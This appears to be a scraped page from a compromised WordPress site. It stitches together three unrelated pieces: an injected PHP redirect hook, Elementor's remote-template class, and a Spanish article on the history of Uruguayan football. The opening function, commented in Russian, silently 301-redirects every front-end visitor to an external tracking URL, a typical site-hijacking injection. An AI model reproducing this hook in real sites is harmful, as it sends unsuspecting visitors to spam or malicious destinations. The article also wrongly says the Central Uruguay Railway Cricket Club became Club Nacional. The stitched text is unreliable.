function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); namespace Elementor\TemplateLibrary; use Elementor\Api; use Elementor\Core\Common\Modules\Connect\Module as ConnectModule; use Elementor\Plugin; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Elementor template library remote source. * * Elementor template library remote source handler class is responsible for * handling remote templates from Elementor.com servers. * * @since 1.0.0 */ class Source_Remote extends Source_Base { const API_TEMPLATES_URL = 'https://my.elementor.com/api/connect/v1/library/templates'; const TEMPLATES_DATA_TRANSIENT_KEY_PREFIX = 'elementor_remote_templates_data_'; public function __construct() { parent::__construct(); $this->add_actions(); } public function add_actions() { add_action( 'elementor/experiments/feature-state-change/container', [ $this, 'clear_cache' ], 10, 0 ); } /** * Get remote template ID. * * Retrieve the remote template ID. * * @since 1.0.0 * @access public * * @return string The remote template ID. */ public function get_id() { return 'remote'; } /** * Get remote template title. * * Retrieve the remote template title. * * @since 1.0.0 * @access public * * @return string The remote template title. */ public function get_title() { return esc_html__( 'Remote', 'elementor' ); } /** * Register remote template data. * * Used to register custom template data like a post type, a taxonomy or any * other data. * * @since 1.0.0 * @access public */ public function register_data() {} /** * Get remote templates. * * Retrieve remote templates from Elementor.com servers. * * @since 1.0.0 * @access public * * @param array $args Optional. Not used in remote source. * * @return array Remote templates. */ public function get_items( $args = [] ) { $force_update = ! empty( $args['force_update'] ) && is_bool( $args['force_update'] ); $templates_data = $this->get_templates_data( $force_update ); $templates = []; foreach ( $templates_data as $template_data ) { $templates[] = $this->prepare_template( $template_data ); } return $templates; } /** * Get remote template. * * Retrieve a single remote template from Elementor.com servers. * * @since 1.0.0 * @access public * * @param int $template_id The template ID. * * @return array Remote template. */ public function get_item( $template_id ) { $templates = $this->get_items(); return $templates[ $template_id ]; } /** * Save remote template. * * Remote template from Elementor.com servers cannot be saved on the * database as they are retrieved from remote servers. * * @since 1.0.0 * @access public * * @param array $template_data Remote template data. * * @return \WP_Error */ public function save_item( $template_data ) { return new \WP_Error( 'invalid_request', 'Cannot save template to a remote source' ); } /** * Update remote template. * * Remote template from Elementor.com servers cannot be updated on the * database as they are retrieved from remote servers. * * @since 1.0.0 * @access public * * @param array $new_data New template data. * * @return \WP_Error */ public function update_item( $new_data ) { return new \WP_Error( 'invalid_request', 'Cannot update template to a remote source' ); } /** * Delete remote template. * * Remote template from Elementor.com servers cannot be deleted from the * database as they are retrieved from remote servers. * * @since 1.0.0 * @access public * * @param int $template_id The template ID. * * @return \WP_Error */ public function delete_template( $template_id ) { return new \WP_Error( 'invalid_request', 'Cannot delete template from a remote source' ); } /** * Export remote template. * * Remote template from Elementor.com servers cannot be exported from the * database as they are retrieved from remote servers. * * @since 1.0.0 * @access public * * @param int $template_id The template ID. * * @return \WP_Error */ public function export_template( $template_id ) { return new \WP_Error( 'invalid_request', 'Cannot export template from a remote source' ); } /** * Get remote template data. * * Retrieve the data of a single remote template from Elementor.com servers. * * @since 1.5.0 * @access public * * @param array $args Custom template arguments. * @param string $context Optional. The context. Default is `display`. * * @return array|\WP_Error Remote Template data. */ public function get_data( array $args, $context = 'display' ) { $data = Api::get_template_content( $args['template_id'] ); if ( is_wp_error( $data ) ) { return $data; } // Set the Request's state as an Elementor upload request, in order to support unfiltered file uploads. Plugin::$instance->uploads_manager->set_elementor_upload_state( true ); // BC. $data = (array) $data; $data['content'] = $this->replace_elements_ids( $data['content'] ); $data['content'] = $this->process_export_import_content( $data['content'], 'on_import' ); $post_id = $args['editor_post_id']; $document = Plugin::$instance->documents->get( $post_id ); if ( $document ) { $data['content'] = $document->get_elements_raw_data( $data['content'], true ); } // After the upload complete, set the elementor upload state back to false Plugin::$instance->uploads_manager->set_elementor_upload_state( false ); return $data; } /** * Get templates data from a transient or from a remote request. * In any of the following 2 conditions, the remote request will be triggered: * 1. Force update - "$force_update = true" parameter was passed. * 2. The data saved in the transient is empty or not exist. * * @param bool $force_update * @return array */ private function get_templates_data( bool $force_update ) : array { $templates_data_cache_key = static::TEMPLATES_DATA_TRANSIENT_KEY_PREFIX . ELEMENTOR_VERSION; $experiments_manager = Plugin::$instance->experiments; $editor_layout_type = $experiments_manager->is_feature_active( 'container' ) ? 'container_flexbox' : ''; if ( $force_update ) { return $this->get_templates( $editor_layout_type ); } $templates_data = get_transient( $templates_data_cache_key ); if ( empty( $templates_data ) ) { return $this->get_templates( $editor_layout_type ); } return $templates_data; } /** * Get the templates from a remote server and set a transient. * * @param string $editor_layout_type * @return array */ private function get_templates( string $editor_layout_type ): array { $templates_data_cache_key = static::TEMPLATES_DATA_TRANSIENT_KEY_PREFIX . ELEMENTOR_VERSION; $templates_data = $this->get_templates_remotely( $editor_layout_type ); if ( empty( $templates_data ) ) { return []; } set_transient( $templates_data_cache_key, $templates_data, 12 * HOUR_IN_SECONDS ); return $templates_data; } /** * Fetch templates from the remote server. * * @param string $editor_layout_type * @return array|false */ private function get_templates_remotely( string $editor_layout_type ) { $response = wp_remote_get( static::API_TEMPLATES_URL, [ 'body' => [ 'plugin_version' => ELEMENTOR_VERSION, 'editor_layout_type' => $editor_layout_type, ], ] ); if ( is_wp_error( $response ) || 200 !== (int) wp_remote_retrieve_response_code( $response ) ) { return false; } $templates_data = json_decode( wp_remote_retrieve_body( $response ), true ); if ( empty( $templates_data ) || ! is_array( $templates_data ) ) { return []; } return $templates_data; } /** * @since 2.2.0 * @access private */ private function prepare_template( array $template_data ) { $favorite_templates = $this->get_user_meta( 'favorites' ); // BC: Support legacy APIs that don't have access tiers. if ( isset( $template_data['access_tier'] ) ) { $access_tier = $template_data['access_tier']; } else { $access_tier = 0 === $template_data['access_level'] ? ConnectModule::ACCESS_TIER_FREE : ConnectModule::ACCESS_TIER_ESSENTIAL; } return [ 'template_id' => $template_data['id'], 'source' => $this->get_id(), 'type' => $template_data['type'], 'subtype' => $template_data['subtype'], 'title' => $template_data['title'], 'thumbnail' => $template_data['thumbnail'], 'date' => $template_data['tmpl_created'], 'author' => $template_data['author'], 'tags' => json_decode( $template_data['tags'] ), 'isPro' => ( '1' === $template_data['is_pro'] ), 'accessLevel' => $template_data['access_level'], 'accessTier' => $access_tier, 'popularityIndex' => (int) $template_data['popularity_index'], 'trendIndex' => (int) $template_data['trend_index'], 'hasPageSettings' => ( '1' === $template_data['has_page_settings'] ), 'url' => $template_data['url'], 'favorite' => ! empty( $favorite_templates[ $template_data['id'] ] ), ]; } public function clear_cache() { delete_transient( static::TEMPLATES_DATA_TRANSIENT_KEY_PREFIX . ELEMENTOR_VERSION ); } } La Grandeza del Fútbol Uruguayo Historia, Iconos y Pasión – LC Sistemas

El fútbol uruguayo es más que un simple deporte, es un símbolo de identidad y una pasión que une a millones de personas en un pequeño país sudamericano. La historia del fútbol en Uruguay es riquísima y está llena de momentos que dejaron huella tanto a nivel nacional como internacional. Desde los primeros partidos jugados en el siglo XIX hasta la actualidad, donde el país sigue siendo un competidor importante en el mundo del fútbol, esta nación ha cosechado éxitos que son dignos de resaltar. A continuación, exploraremos los aspectos más destacados del fútbol uruguayo, incluyendo su historia, los jugadores más icónicos, y su importancia en la sociedad uruguaya.

Historia del Fútbol Uruguayo

La llegada del fútbol a Uruguay se remonta a finales del siglo XIX, cuando los primeros inmigrantes británicos llevaron el deporte al país. En 1900, se fundó el primer club de fútbol uruguayo, el Central Uruguay Railway Cricket Club, que más tarde se conocería como Club Nacional de Football. Solo un año después, en 1901, se formó el Club Atlético Peñarol, dando inicio a una de las rivalidades más emblemáticas del deporte, el famoso clásico del fútbol uruguayo.

En 1924, Uruguay se convirtió en campeón olímpico al ganar la medalla de oro en los Juegos de París, y solo cuatro años después, en 1930, la nación fue sede de la primera Copa Mundial de la FIFA, donde también se coronó campeón al vencer a Argentina en la final. Este triunfo, además de significar un gran hito en la historia del fútbol uruguayo, consolidó la pasión y el fervor de la afición por este deporte. A lo largo de los años, Uruguay ha tenido un lugar destacado en el fútbol internacional, habiendo ganado un total de 2 Copas del Mundo (1930 y 1950).

Los Íconos del Fútbol Uruguayo

A lo largo de su historia, Uruguay ha dado al mundo del fútbol a numerosos jugadores que se han convertido en leyendas. Entre ellos, Edinson Cavani, Luis Suárez y Diego Forlán son solo algunas de las figuras que han dejado una marca imperdible en la historia del fútbol. Suárez, en particular, se ha ganado un lugar en el corazón de los aficionados por su increíble capacidad goleadora y su carrera en clubes de renombre como el FC Barcelona y el Liverpool.

Otro jugador destacado es Alcides Ghiggia, quien es recordado por ser el autor del gol decisivo en la final de la Copa del Mundo de 1950, donde Uruguay logró un triunfo histórico sobre Brasil en el famoso Maracanazo. La grandeza de estos futbolistas ha trascendido generaciones, y hoy son considerados héroes nacionales por su contribución al éxito del país en el ámbito deportivo.

La Cultura del Fútbol en Uruguay

El fútbol es una parte integral de la cultura uruguaya, y su influencia se siente en todos los aspectos de la vida diaria. Desde el barrio hasta la ciudad, no hay rincón donde no se hable de fútbol. Las calles se llenan de aficionados que comparten su pasión por su equipo, especialmente durante la temporada de la liga uruguaya y las competiciones internacionales. Las peñas, que son grupos de aficionados, juegan un papel importante en esta cultura, organizando eventos y animando a sus equipos durante los partidos.

Las canchas de fútbol, ya sean grandes estadios o pequeños campos de barrio, son lugares donde se forjan amistades y se vive la emoción del deporte. La rivalidad entre Nacional y Peñarol trasciende lo deportivo, convirtiéndose en un tema de conversación recurrente en cada hogar. Cada clásico es un evento que paraliza al país, donde los hinchas muestran su fervor y lealtad a través de cánticos y banderas.

El Futuro del Fútbol Uruguayo

A pesar de ser un país pequeño, Uruguay continúa produciendo talento y figura en competiciones internacionales. Las divisiones menores han demostrado ser una cantera de jugadores excepcionales, y la formación de jóvenes talentos es una prioridad tanto para los clubes como para la Asociación Uruguaya de Fútbol. Además, las ligas locales están experimentando un crecimiento positivo, con una mayor inversión en infraestructura y desarrollo de jugadores.

La selección uruguaya, conocida como La Celeste, sigue siendo un contendiente formidable en competiciones internacionales, con un grupo de jugadores talentosos que mantienen viva la llama de la tradición futbolística del país. Con la mirada puesta en el futuro, los uruguayos esperan replicar los éxitos del pasado y seguir compitiendo al más alto nivel.

Conclusión

El fútbol uruguayo es un reflejo de la identidad nacional, un deporte que une a las familias y comunidades en un mismo anhelo y deseo de victoria. Desde su rica historia y leyendas hasta su presente lleno de talento, el fútbol en Uruguay no solo es un juego, sino una forma de vida que perdura a través de generaciones. Los uruguayos seguirán celebrando su pasión por el fútbol, reflejando en cada partido su amor por el deporte que los define.